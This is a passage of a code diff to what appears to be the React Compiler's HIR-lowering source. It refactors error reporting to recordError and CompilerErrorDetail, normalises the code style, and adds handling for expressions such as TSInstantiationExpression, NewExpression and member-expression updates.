+          kind: 'BinaryExpression',
+          operator: binaryOperator,
+          left: {...previousValuePlace},
+          right: lowerValueToTemporary(builder, {
+            kind: 'Primitive',
+            value: 1,
+            loc: GeneratedSource,
+          }),
+          loc: leftExpr.node.loc ?? GeneratedSource,
         });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+
+        // Save the result back to the property
+        let newValuePlace;
+        if (typeof property === 'string' || typeof property === 'number') {
+          newValuePlace = lowerValueToTemporary(builder, {
+            kind: 'PropertyStore',
+            object: {...object},
+            property: makePropertyLiteral(property),
+            value: {...updatedValue},
+            loc: leftExpr.node.loc ?? GeneratedSource,
+          });
+        } else {
+          newValuePlace = lowerValueToTemporary(builder, {
+            kind: 'ComputedStore',
+            object: {...object},
+            property: {...property},
+            value: {...updatedValue},
+            loc: leftExpr.node.loc ?? GeneratedSource,
+          });
+        }
+
+        return {
+          kind: 'LoadLocal',
+          place: expr.node.prefix
+            ? {...newValuePlace}
+            : {...previousValuePlace},
+          loc: exprLoc,
+        };
+      }
+      if (!argument.isIdentifier()) {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Handle UpdateExpression with ${argument.type} argument`,
+            category: ErrorCategory.Todo,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       } else if (builder.isContextIdentifier(argument)) {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.`,
-          severity: ErrorSeverity.Todo,
-          loc: exprPath.node.loc ?? null,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.`,
+            category: ErrorCategory.Todo,
+            loc: exprPath.node.loc ?? null,
+            suggestions: null,
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       const lvalue = lowerIdentifierForAssignment(
         builder,
         argument.node.loc ?? GeneratedSource,
         InstructionKind.Reassign,
-        argument
+        argument,
       );
       if (lvalue === null) {
         /*
          * lowerIdentifierForAssignment should have already reported an error if it returned null,
          * we check here just in case
          */
-        if (!builder.errors.hasErrors()) {
-          builder.errors.push({
-            reason: `(BuildHIR::lowerExpression) Found an invalid UpdateExpression without a previously reported error`,
-            severity: ErrorSeverity.Invariant,
+        if (!builder.environment.hasErrors()) {
+          builder.recordError(
+            new CompilerErrorDetail({
+              reason: `(BuildHIR::lowerExpression) Found an invalid UpdateExpression without a previously reported error`,
+              category: ErrorCategory.Invariant,
+              loc: exprLoc,
+              suggestions: null,
+            }),
+          );
+        }
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
+      } else if (lvalue.kind === 'Global') {
+        builder.recordError(
+          new CompilerErrorDetail({
+            reason: `(BuildHIR::lowerExpression) Support UpdateExpression where argument is a global`,
+            category: ErrorCategory.Todo,
             loc: exprLoc,
             suggestions: null,
-          });
-        }
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
-      } else if (lvalue.kind === "Global") {
-        builder.errors.push({
-          reason: `(BuildHIR::lowerExpression) Support UpdateExpression where argument is a global`,
-          severity: ErrorSeverity.Todo,
-          loc: exprLoc,
-          suggestions: null,
-        });
-        return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+          }),
+        );
+        return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
       }
       const value = lowerIdentifier(builder, argument);
       if (expr.node.prefix) {
         return {
-          kind: "PrefixUpdate",
+          kind: 'PrefixUpdate',
           lvalue,
           operation: expr.node.operator,
           value,
@@ -2431,7 +2747,7 @@ function lowerExpression(
         };
       } else {
         return {
-          kind: "PostfixUpdate",
+          kind: 'PostfixUpdate',
           lvalue,
           operation: expr.node.operator,
           value,
@@ -2439,49 +2755,54 @@ function lowerExpression(
         };
       }
     }
-    case "RegExpLiteral": {
+    case 'RegExpLiteral': {
       let expr = exprPath as NodePath<t.RegExpLiteral>;
       return {
-        kind: "RegExpLiteral",
+        kind: 'RegExpLiteral',
         pattern: expr.node.pattern,
         flags: expr.node.flags,
         loc: expr.node.loc ?? GeneratedSource,
       };
     }
-    case "TSNonNullExpression": {
+    case 'TSInstantiationExpression':
+    case 'TSNonNullExpression': {
       let expr = exprPath as NodePath<t.TSNonNullExpression>;
-      return lowerExpression(builder, expr.get("expression"));
+      return lowerExpression(builder, expr.get('expression'));
     }
-    case "MetaProperty": {
+    case 'MetaProperty': {
       let expr = exprPath as NodePath<t.MetaProperty>;
       if (
-        expr.node.meta.name === "import" &&
-        expr.node.property.name === "meta"
+        expr.node.meta.name === 'import' &&
+        expr.node.property.name === 'meta'
       ) {
         return {
-          kind: "MetaProperty",
+          kind: 'MetaProperty',
           meta: expr.node.meta.name,
           property: expr.node.property.name,
           loc: expr.node.loc ?? GeneratedSource,
         };
       }
 
-      builder.errors.push({
-        reason: `(BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta`,
-        severity: ErrorSeverity.Todo,
-        loc: exprPath.node.loc ?? null,
-        suggestions: null,
-      });
-      return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerExpression) Handle MetaProperty expressions other than import.meta`,
+          category: ErrorCategory.Todo,
+          loc: exprPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
     }
     default: {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerExpression) Handle ${exprPath.type} expressions`,
-        severity: ErrorSeverity.Todo,
-        loc: exprPath.node.loc ?? null,
-        suggestions: null,
-      });
-      return { kind: "UnsupportedNode", node: exprNode, loc: exprLoc };
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerExpression) Handle ${exprPath.type} expressions`,
+          category: ErrorCategory.Todo,
+          loc: exprPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
+      return {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc};
     }
   }
 }
@@ -2489,13 +2810,13 @@ function lowerExpression(
 function lowerOptionalMemberExpression(
   builder: HIRBuilder,
   expr: NodePath<t.OptionalMemberExpression>,
-  parentAlternate: BlockId | null
-): { object: Place; value: Place } {
+  parentAlternate: BlockId | null,
+): {object: Place; value: Place} {
   const optional = expr.node.optional;
   const loc = expr.node.loc ?? GeneratedSource;
   const place = buildTemporaryPlace(builder, loc);
   const continuationBlock = builder.reserve(builder.currentBlockKind());
-  const consequent = builder.reserve("value");
+  const consequent = builder.reserve('value');
 
   /*
    * block to evaluate if the callee is null/undefined, this sets the result of the call to undefined.
@@ -2505,21 +2826,21 @@ function lowerOptionalMemberExpression(
   const alternate =
     parentAlternate !== null
       ? parentAlternate
-      : builder.enter("value", () => {
+      : builder.enter('value', () => {
           const temp = lowerValueToTemporary(builder, {
-            kind: "Primitive",
+            kind: 'Primitive',
             value: undefined,
             loc,
           });
           lowerValueToTemporary(builder, {
-            kind: "StoreLocal",
-            lvalue: { kind: InstructionKind.Const, place: { ...place } },
-            value: { ...temp },
+            kind: 'StoreLocal',
+            lvalue: {kind: InstructionKind.Const, place: {...place}},
+            value: {...temp},
             type: null,
             loc,
           });
           return {
-            kind: "goto",
+            kind: 'goto',
             variant: GotoVariant.Break,
             block: continuationBlock.id,
             id: makeInstructionId(0),
@@ -2528,13 +2849,13 @@ function lowerOptionalMemberExpression(
         });
 
   let object: Place | null = null;
-  const testBlock = builder.enter("value", () => {
-    const objectPath = expr.get("object");
+  const testBlock = builder.enter('value', () => {
+    const objectPath = expr.get('object');
     if (objectPath.isOptionalMemberExpression()) {
-      const { value } = lowerOptionalMemberExpression(
+      const {value} = lowerOptionalMemberExpression(
         builder,
         objectPath,
-        alternate
+        alternate,
       );
       object = value;
     } else if (objectPath.isOptionalCallExpression()) {
@@ -2544,19 +2865,18 @@ function lowerOptionalMemberExpression(
       object = lowerExpressionToTemporary(builder, objectPath);
     }
     return {
-      kind: "branch",
-      test: { ...object },
+      kind: 'branch',
+      test: {...object},
       consequent: consequent.id,
       alternate,
+      fallthrough: continuationBlock.id,
       id: makeInstructionId(0),
       loc,
     };
   });
   CompilerError.invariant(object !== null, {
-    reason: "Satisfy type checker",
-    description: null,
-    loc: null,
-    suggestions: null,
+    reason: 'Satisfy type checker',
+    loc: GeneratedSource,
   });
 
   /*
@@ -2564,17 +2884,17 @@ function lowerOptionalMemberExpression(
    * the semantic of conditional evaluation depending on the callee
    */
   builder.enterReserved(consequent, () => {
-    const { value } = lowerMemberExpression(builder, expr, object);
+    const {value} = lowerMemberExpression(builder, expr, object);
     const temp = lowerValueToTemporary(builder, value);
     lowerValueToTemporary(builder, {
-      kind: "StoreLocal",
-      lvalue: { kind: InstructionKind.Const, place: { ...place } },
-      value: { ...temp },
+      kind: 'StoreLocal',
+      lvalue: {kind: InstructionKind.Const, place: {...place}},
+      value: {...temp},
       type: null,
       loc,
     });
     return {
-      kind: "goto",
+      kind: 'goto',
       variant: GotoVariant.Break,
       block: continuationBlock.id,
       id: makeInstructionId(0),
@@ -2584,30 +2904,30 @@ function lowerOptionalMemberExpression(
 
   builder.terminateWithContinuation(
     {
-      kind: "optional",
+      kind: 'optional',
       optional,
       test: testBlock,
       fallthrough: continuationBlock.id,
       id: makeInstructionId(0),
       loc,
     },
-    continuationBlock
+    continuationBlock,
   );
 
-  return { object, value: place };
+  return {object, value: place};
 }
 
 function lowerOptionalCallExpression(
   builder: HIRBuilder,
   expr: NodePath<t.OptionalCallExpression>,
-  parentAlternate: BlockId | null
+  parentAlternate: BlockId | null,
 ): InstructionValue {
   const optional = expr.node.optional;
-  const calleePath = expr.get("callee");
+  const calleePath = expr.get('callee');
   const loc = expr.node.loc ?? GeneratedSource;
   const place = buildTemporaryPlace(builder, loc);
   const continuationBlock = builder.reserve(builder.currentBlockKind());
-  const consequent = builder.reserve("value");
+  const consequent = builder.reserve('value');
 
   /*
    * block to evaluate if the callee is null/undefined, this sets the result of the call to undefined.
@@ -2617,21 +2937,21 @@ function lowerOptionalCallExpression(
   const alternate =
     parentAlternate !== null
       ? parentAlternate
-      : builder.enter("value", () => {
+      : builder.enter('value', () => {
           const temp = lowerValueToTemporary(builder, {
-            kind: "Primitive",
+            kind: 'Primitive',
             value: undefined,
             loc,
           });
           lowerValueToTemporary(builder, {
-            kind: "StoreLocal",
-            lvalue: { kind: InstructionKind.Const, place: { ...place } },
-            value: { ...temp },
+            kind: 'StoreLocal',
+            lvalue: {kind: InstructionKind.Const, place: {...place}},
+            value: {...temp},
             type: null,
             loc,
           });
           return {
-            kind: "goto",
+            kind: 'goto',
             variant: GotoVariant.Break,
             block: continuationBlock.id,
             id: makeInstructionId(0),
@@ -2644,25 +2964,25 @@ function lowerOptionalCallExpression(
    * scoped within the optional
    */
   let callee:
-    | { kind: "CallExpression"; callee: Place }
-    | { kind: "MethodCall"; receiver: Place; property: Place };
-  const testBlock = builder.enter("value", () => {
+    | {kind: 'CallExpression'; callee: Place}
+    | {kind: 'MethodCall'; receiver: Place; property: Place};
+  const testBlock = builder.enter('value', () => {
     if (calleePath.isOptionalCallExpression()) {
       // Recursively call lowerOptionalCallExpression to thread down the alternate block
       const value = lowerOptionalCallExpression(builder, calleePath, alternate);
       const valuePlace = lowerValueToTemporary(builder, value);
       callee = {
-        kind: "CallExpression",
+        kind: 'CallExpression',
         callee: valuePlace,
       };
     } else if (calleePath.isOptionalMemberExpression()) {
-      const { object, value } = lowerOptionalMemberExpression(
+      const {object, value} = lowerOptionalMemberExpression(
         builder,
         calleePath,
-        alternate
+        alternate,
       );
       callee = {
-        kind: "MethodCall",
+        kind: 'MethodCall',
         receiver: object,
         property: value,
       };
@@ -2670,23 +2990,24 @@ function lowerOptionalCallExpression(
       const memberExpr = lowerMemberExpression(builder, calleePath);
       const propertyPlace = lowerValueToTemporary(builder, memberExpr.value);
       callee = {
-        kind: "MethodCall",
+        kind: 'MethodCall',
         receiver: memberExpr.object,
         property: propertyPlace,
       };
     } else {
       callee = {
-        kind: "CallExpression",
+        kind: 'CallExpression',
         callee: lowerExpressionToTemporary(builder, calleePath),
       };
     }
     const testPlace =
-      callee.kind === "CallExpression" ? callee.callee : callee.property;
+      callee.kind === 'CallExpression' ? callee.callee : callee.property;
     return {
-      kind: "branch",
-      test: { ...testPlace },
+      kind: 'branch',
+      test: {...testPlace},
       consequent: consequent.id,
       alternate,
+      fallthrough: continuationBlock.id,
       id: makeInstructionId(0),
       loc,
     };
@@ -2697,43 +3018,45 @@ function lowerOptionalCallExpression(
    * the semantic of conditional evaluation depending on the callee
    */
   builder.enterReserved(consequent, () => {
-    const args = lowerArguments(builder, expr.get("arguments"));
+    const args = lowerArguments(builder, expr.get('arguments'));
     const temp = buildTemporaryPlace(builder, loc);
-    if (callee.kind === "CallExpression") {
+    if (callee.kind === 'CallExpression') {
       builder.push({
         id: makeInstructionId(0),
-        lvalue: { ...temp },
+        lvalue: {...temp},
         value: {
-          kind: "CallExpression",
-          callee: { ...callee.callee },
+          kind: 'CallExpression',
+          callee: {...callee.callee},
           args,
           loc,
         },
+        effects: null,
         loc,
       });
     } else {
       builder.push({
         id: makeInstructionId(0),
-        lvalue: { ...temp },
+        lvalue: {...temp},
         value: {
-          kind: "MethodCall",
-          receiver: { ...callee.receiver },
-          property: { ...callee.property },
+          kind: 'MethodCall',
+          receiver: {...callee.receiver},
+          property: {...callee.property},
           args,
           loc,
         },
+        effects: null,
         loc,
       });
     }
     lowerValueToTemporary(builder, {
-      kind: "StoreLocal",
-      lvalue: { kind: InstructionKind.Const, place: { ...place } },
-      value: { ...temp },
+      kind: 'StoreLocal',
+      lvalue: {kind: InstructionKind.Const, place: {...place}},
+      value: {...temp},
       type: null,
       loc,
     });
     return {
-      kind: "goto",
+      kind: 'goto',
       variant: GotoVariant.Break,
       block: continuationBlock.id,
       id: makeInstructionId(0),
@@ -2743,17 +3066,17 @@ function lowerOptionalCallExpression(
 
   builder.terminateWithContinuation(
     {
-      kind: "optional",
+      kind: 'optional',
       optional,
       test: testBlock,
       fallthrough: continuationBlock.id,
       id: makeInstructionId(0),
       loc,
     },
-    continuationBlock
+    continuationBlock,
   );
 
-  return { kind: "LoadLocal", place, loc: place.loc };
+  return {kind: 'LoadLocal', place, loc: place.loc};
 }
 
 /*
@@ -2765,15 +3088,17 @@ function lowerOptionalCallExpression(
  */
 function lowerReorderableExpression(
   builder: HIRBuilder,
-  expr: NodePath<t.Expression>
+  expr: NodePath<t.Expression>,
 ): Place {
   if (!isReorderableExpression(builder, expr, true)) {
-    builder.errors.push({
-      reason: `(BuildHIR::node.lowerReorderableExpression) Expression type \`${expr.type}\` cannot be safely reordered`,
-      severity: ErrorSeverity.Todo,
-      loc: expr.node.loc ?? null,
-      suggestions: null,
-    });
+    builder.recordError(
+      new CompilerErrorDetail({
+        reason: `(BuildHIR::node.lowerReorderableExpression) Expression type \`${expr.type}\` cannot be safely reordered`,
+        category: ErrorCategory.Todo,
+        loc: expr.node.loc ?? null,
+        suggestions: null,
+      }),
+    );
   }
   return lowerExpressionToTemporary(builder, expr);
 }
@@ -2781,36 +3106,42 @@ function lowerReorderableExpression(
 function isReorderableExpression(
   builder: HIRBuilder,
   expr: NodePath<t.Expression>,
-  allowLocalIdentifiers: boolean
+  allowLocalIdentifiers: boolean,
 ): boolean {
   switch (expr.node.type) {
-    case "Identifier": {
+    case 'Identifier': {
       const binding = builder.resolveIdentifier(expr as NodePath<t.Identifier>);
-      if (binding.kind === "Identifier") {
+      if (binding.kind === 'Identifier') {
         return allowLocalIdentifiers;
       } else {
         // global, definitely safe
         return true;
       }
     }
-    case "RegExpLiteral":
-    case "StringLiteral":
-    case "NumericLiteral":
-    case "NullLiteral":
-    case "BooleanLiteral":
-    case "BigIntLiteral": {
+    case 'TSInstantiationExpression': {
+      const innerExpr = (expr as NodePath<t.TSInstantiationExpression>).get(
+        'expression',
+      ) as NodePath<t.Expression>;
+      return isReorderableExpression(builder, innerExpr, allowLocalIdentifiers);
+    }
+    case 'RegExpLiteral':
+    case 'StringLiteral':
+    case 'NumericLiteral':
+    case 'NullLiteral':
+    case 'BooleanLiteral':
+    case 'BigIntLiteral': {
       return true;
     }
-    case "UnaryExpression": {
+    case 'UnaryExpression': {
       const unary = expr as NodePath<t.UnaryExpression>;
       switch (expr.node.operator) {
-        case "!":
-        case "+":
-        case "-": {
+        case '!':
+        case '+':
+        case '-': {
           return isReorderableExpression(
             builder,
-            unary.get("argument"),
-            allowLocalIdentifiers
+            unary.get('argument'),
+            allowLocalIdentifiers,
           );
         }
         default: {
@@ -2818,57 +3149,74 @@ function isReorderableExpression(
         }
       }
     }
-    case "TypeCastExpression": {
+    case 'TSAsExpression':
+    case 'TSNonNullExpression':
+    case 'TypeCastExpression': {
       return isReorderableExpression(
         builder,
-        (expr as NodePath<t.TypeCastExpression>).get("expression"),
-        allowLocalIdentifiers
+        (expr as NodePath<t.TypeCastExpression>).get('expression'),
+        allowLocalIdentifiers,
       );
     }
-    case "ConditionalExpression": {
+    case 'LogicalExpression': {
+      const logical = expr as NodePath<t.LogicalExpression>;
+      return (
+        isReorderableExpression(
+          builder,
+          logical.get('left'),
+          allowLocalIdentifiers,
+        ) &&
+        isReorderableExpression(
+          builder,
+          logical.get('right'),
+          allowLocalIdentifiers,
+        )
+      );
+    }
+    case 'ConditionalExpression': {
       const conditional = expr as NodePath<t.ConditionalExpression>;
       return (
         isReorderableExpression(
           builder,
-          conditional.get("test"),
-          allowLocalIdentifiers
+          conditional.get('test'),
+          allowLocalIdentifiers,
         ) &&
         isReorderableExpression(
           builder,
-          conditional.get("consequent"),
-          allowLocalIdentifiers
+          conditional.get('consequent'),
+          allowLocalIdentifiers,
         ) &&
         isReorderableExpression(
           builder,
-          conditional.get("alternate"),
-          allowLocalIdentifiers
+          conditional.get('alternate'),
+          allowLocalIdentifiers,
         )
       );
     }
-    case "ArrayExpression": {
+    case 'ArrayExpression': {
       return (expr as NodePath<t.ArrayExpression>)
-        .get("elements")
+        .get('elements')
         .every(
-          (element) =>
+          element =>
             element.isExpression() &&
-            isReorderableExpression(builder, element, allowLocalIdentifiers)
+            isReorderableExpression(builder, element, allowLocalIdentifiers),
         );
     }
-    case "ObjectExpression": {
+    case 'ObjectExpression': {
       return (expr as NodePath<t.ObjectExpression>)
-        .get("properties")
-        .every((property) => {
+        .get('properties')
+        .every(property => {
           if (!property.isObjectProperty() || property.node.computed) {
             return false;
           }
-          const value = property.get("value");
+          const value = property.get('value');
           return (
             value.isExpression() &&
             isReorderableExpression(builder, value, allowLocalIdentifiers)
           );
         });
     }
-    case "MemberExpression": {
+    case 'MemberExpression': {
       /*
        * A common pattern is switch statements where the case test values are properties of a global,
        * eg `case ProductOptions.Option: { ... }`
@@ -2878,11 +3226,11 @@ function isReorderableExpression(
       const test = expr as NodePath<t.MemberExpression>;
       let innerObject: NodePath<t.Expression> = test;
       while (innerObject.isMemberExpression()) {
-        innerObject = innerObject.get("object");
+        innerObject = innerObject.get('object');
       }
       if (
         innerObject.isIdentifier() &&
-        builder.resolveIdentifier(innerObject).kind !== "Identifier"
+        builder.resolveIdentifier(innerObject).kind !== 'Identifier'
       ) {
         // This is a property/computed load from a global, that's safe to reorder
         return true;
@@ -2890,33 +3238,48 @@ function isReorderableExpression(
         return false;
       }
     }
-    case "ArrowFunctionExpression": {
+    case 'ArrowFunctionExpression': {
       const fn = expr as NodePath<t.ArrowFunctionExpression>;
-      const body = fn.get("body");
-      if (body.node.type === "BlockStatement") {
+      const body = fn.get('body');
+      if (body.node.type === 'BlockStatement') {
         return body.node.body.length === 0;
       } else {
         // For TypeScript
-        invariant(body.isExpression(), "Expected an expression");
+        invariant(body.isExpression(), 'Expected an expression');
         return isReorderableExpression(
           builder,
           body,
-          /* disallow local identifiers in the body */ false
+          /* disallow local identifiers in the body */ false,
         );
       }
     }
-    case "CallExpression": {
+    case 'CallExpression': {
       const call = expr as NodePath<t.CallExpression>;
-      const callee = call.get("callee");
+      const callee = call.get('callee');
       return (
         callee.isExpression() &&
         isReorderableExpression(builder, callee, allowLocalIdentifiers) &&
         call
-          .get("arguments")
+          .get('arguments')
           .every(
-            (arg) =>
+            arg =>
               arg.isExpression() &&
-              isReorderableExpression(builder, arg, allowLocalIdentifiers)
+              isReorderableExpression(builder, arg, allowLocalIdentifiers),
+          )
+      );
+    }
+    case 'NewExpression': {
+      const newExpr = expr as NodePath<t.NewExpression>;
+      const callee = newExpr.get('callee');
+      return (
+        callee.isExpression() &&
+        isReorderableExpression(builder, callee, allowLocalIdentifiers) &&
+        newExpr
+          .get('arguments')
+          .every(
+            arg =>
+              arg.isExpression() &&
+              isReorderableExpression(builder, arg, allowLocalIdentifiers),
           )
       );
     }
@@ -2935,24 +3298,26 @@ function lowerArguments(
       | t.JSXNamespacedName
       | t.ArgumentPlaceholder
     >
-  >
+  >,
 ): Array<Place | SpreadPattern> {
   let args: Array<Place | SpreadPattern> = [];
   for (const argPath of expr) {
     if (argPath.isSpreadElement()) {
       args.push({
-        kind: "Spread",
-        place: lowerExpressionToTemporary(builder, argPath.get("argument")),
+        kind: 'Spread',
+        place: lowerExpressionToTemporary(builder, argPath.get('argument')),
       });
     } else if (argPath.isExpression()) {
       args.push(lowerExpressionToTemporary(builder, argPath));
     } else {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerExpression) Handle ${argPath.type} arguments in CallExpression`,
-        severity: ErrorSeverity.Todo,
-        loc: argPath.node.loc ?? null,
-        suggestions: null,
-      });
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerExpression) Handle ${argPath.type} arguments in CallExpression`,
+          category: ErrorCategory.Todo,
+          loc: argPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
     }
   }
   return args;
@@ -2960,55 +3325,64 @@ function lowerArguments(
 
 type LoweredMemberExpression = {
   object: Place;
-  property: Place | string;
+  property: Place | string | number;
   value: InstructionValue;
 };
 function lowerMemberExpression(
   builder: HIRBuilder,
   expr: NodePath<t.MemberExpression | t.OptionalMemberExpression>,
-  loweredObject: Place | null = null
+  loweredObject: Place | null = null,
 ): LoweredMemberExpression {
   const exprNode = expr.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
-  const objectNode = expr.get("object");
-  const propertyNode = expr.get("property");
+  const objectNode = expr.get('object');
+  const propertyNode = expr.get('property');
   const object =
     loweredObject ?? lowerExpressionToTemporary(builder, objectNode);
 
-  if (!expr.node.computed) {
-    if (!propertyNode.isIdentifier()) {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerMemberExpression) Handle ${propertyNode.type} property`,
-        severity: ErrorSeverity.Todo,
-        loc: propertyNode.node.loc ?? null,
-        suggestions: null,
-      });
+  if (!expr.node.computed || expr.node.property.type === 'NumericLiteral') {
+    let property: PropertyLiteral;
+    if (propertyNode.isIdentifier()) {
+      property = makePropertyLiteral(propertyNode.node.name);
+    } else if (propertyNode.isNumericLiteral()) {
+      property = makePropertyLiteral(propertyNode.node.value);
+    } else {
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerMemberExpression) Handle ${propertyNode.type} property`,
+          category: ErrorCategory.Todo,
+          loc: propertyNode.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
       return {
         object,
         property: propertyNode.toString(),
-        value: { kind: "UnsupportedNode", node: exprNode, loc: exprLoc },
+        value: {kind: 'UnsupportedNode', node: exprNode, loc: exprLoc},
       };
     }
     const value: InstructionValue = {
-      kind: "PropertyLoad",
-      object: { ...object },
-      property: propertyNode.node.name,
+      kind: 'PropertyLoad',
+      object: {...object},
+      property,
       loc: exprLoc,
     };
-    return { object, property: propertyNode.node.name, value };
+    return {object, property, value};
   } else {
     if (!propertyNode.isExpression()) {
-      builder.errors.push({
-        reason: `(BuildHIR::lowerMemberExpression) Expected Expression, got ${propertyNode.type} property`,
-        severity: ErrorSeverity.Todo,
-        loc: propertyNode.node.loc ?? null,
-        suggestions: null,
-      });
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `(BuildHIR::lowerMemberExpression) Expected Expression, got ${propertyNode.type} property`,
+          category: ErrorCategory.Todo,
+          loc: propertyNode.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
       return {
         object,
         property: propertyNode.toString(),
         value: {
-          kind: "UnsupportedNode",
+          kind: 'UnsupportedNode',
           node: exprNode,
           loc: exprLoc,
         },
@@ -3016,12 +3390,12 @@ function lowerMemberExpression(
     }
     const property = lowerExpressionToTemporary(builder, propertyNode);
     const value: InstructionValue = {
-      kind: "ComputedLoad",
-      object: { ...object },
-      property: { ...property },
+      kind: 'ComputedLoad',
+      object: {...object},
+      property: {...property},
       loc: exprLoc,
     };
-    return { object, property, value };
+    return {object, property, value};
   }
 }
 
@@ -3029,7 +3403,7 @@ function lowerJsxElementName(
   builder: HIRBuilder,
   exprPath: NodePath<
     t.JSXIdentifier | t.JSXMemberExpression | t.JSXNamespacedName
-  >
+  >,
 ): Place | BuiltinTag {
   const exprNode = exprPath.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
@@ -3044,7 +3418,7 @@ function lowerJsxElementName(
       });
     } else {
       return {
-        kind: "BuiltinTag",
+        kind: 'BuiltinTag',
         name: tag,
         loc: exprLoc,
       };
@@ -3055,30 +3429,34 @@ function lowerJsxElementName(
     const namespace = exprPath.node.namespace.name;
     const name = exprPath.node.name.name;
     const tag = `${namespace}:${name}`;
-    if (namespace.indexOf(":") !== -1 || name.indexOf(":") !== -1) {
-      builder.errors.push({
-        reason: `Expected JSXNamespacedName to have no colons in the namespace or name`,
-        description: `Got \`${namespace}\` : \`${name}\``,
-        severity: ErrorSeverity.InvalidJS,
-        loc: exprPath.node.loc ?? null,
-        suggestions: null,
-      });
+    if (namespace.indexOf(':') !== -1 || name.indexOf(':') !== -1) {
+      builder.recordError(
+        new CompilerErrorDetail({
+          reason: `Expected JSXNamespacedName to have no colons in the namespace or name`,
+          description: `Got \`${namespace}\` : \`${name}\``,
+          category: ErrorCategory.Syntax,
+          loc: exprPath.node.loc ?? null,
+          suggestions: null,
+        }),
+      );
     }
     const place = lowerValueToTemporary(builder, {
-      kind: "Primitive",
+      kind: 'Primitive',
       value: tag,
       loc: exprLoc,
     });
     return place;
   } else {
-    builder.errors.push({
-      reason: `(BuildHIR::lowerJsxElementName) Handle ${exprPath.type} tags`,
-      severity: ErrorSeverity.Todo,
-      loc: exprPath.node.loc ?? null,
-      suggestions: null,
-    });
+    builder.recordError(
+      new CompilerErrorDetail({
+        reason: `(BuildHIR::lowerJsxElementName) Handle ${exprPath.type} tags`,
+        category: ErrorCategory.Todo,
+        loc: exprPath.node.loc ?? null,
+        suggestions: null,
+      }),
+    );
     return lowerValueToTemporary(builder, {
-      kind: "UnsupportedNode",
+      kind: 'UnsupportedNode',
       node: exprNode,
       loc: exprLoc,
     });
@@ -3087,27 +3465,31 @@ function lowerJsxElementName(
 
 function lowerJsxMemberExpression(
   builder: HIRBuilder,
-  exprPath: NodePath<t.JSXMemberExpression>
+  exprPath: NodePath<t.JSXMemberExpression>,
 ): Place {
   const loc = exprPath.node.loc ?? GeneratedSource;
-  const object = exprPath.get("object");
+  const object = exprPath.get('object');
   let objectPlace: Place;
   if (object.isJSXMemberExpression()) {
     objectPlace = lowerJsxMemberExpression(builder, object);
   } else {
     CompilerError.invariant(object.isJSXIdentifier(), {
       reason: `TypeScript refinement fail: expected 'JsxIdentifier', got \`${object.node.type}\``,
-      description: null,
-      loc: object.node.loc ?? null,
-      suggestions: null,
+      loc: object.node.loc ?? GeneratedSource,
+    });
+
+    const kind = getLoadKind(builder, object);
+    objectPlace = lowerValueToTemporary(builder, {
+      kind: kind,
+      place: lowerIdentifier(builder, object),
+      loc: exprPath.node.loc ?? GeneratedSource,
     });
-    objectPlace = lowerIdentifier(builder, object);
   }
-  const property = exprPath.get("property").node.name;
+  const property = exprPath.get('property').node.name;
   return lowerValueToTemporary(builder, {
-    kind: "PropertyLoad",
+    kind: 'PropertyLoad',
     object: objectPlace,
-    property,
+    property: makePropertyLiteral(property),
     loc,
   });
 }
@@ -3120,45 +3502,57 @@ function lowerJsxElement(
     | t.JSXSpreadChild
     | t.JSXElement
     | t.JSXFragment
-  >
+  >,
 ): Place | null {
   const exprNode = exprPath.node;
   const exprLoc = exprNode.loc ?? GeneratedSource;
   if (exprPath.isJSXElement() || exprPath.isJSXFragment()) {
     return lowerExpressionToTemporary(builder, exprPath);
   } else if (exprPath.isJSXExpressionContainer()) {
-    const expression = exprPath.get("expression");
+    const expression = exprPath.get('expression');
     if (expression.isJSXEmptyExpression()) {
       return null;
     } else {
       CompilerError.invariant(expression.isExpression(), {
         reason: `(BuildHIR::lowerJsxElement) Expected Expression but found ${expression.type}!`,
-        description: null,
-        loc: expression.node.loc ?? null,
-        suggestions: null,
+        loc: expression.node.loc ?? GeneratedSource,
       });
       return lowerExpressionToTemporary(builder, expression);
     }
   } else if (exprPath.isJSXText()) {
-    const text = trimJsxText(exprPath.node.value);
+    let text: string | null;
+    if (builder.fbtDepth > 0) {
+      /*
+       * FBT whitespace normalization differs from standard JSX.
+       * https://github.com/facebook/fbt/blob/0b4e0d13c30bffd0daa2a75715d606e3587b4e40/packages/babel-plugin-fbt/src/FbtUtil.js#L76-L87
+       * Since the fbt transform runs after, let's just preserve all
+       * whitespace in FBT subtrees as is.
+       */
+      text = exprPath.node.value;
+    } else {
+      text = trimJsxText(exprPath.node.value);
+    }
+
     if (text === null) {
       return null;
     }
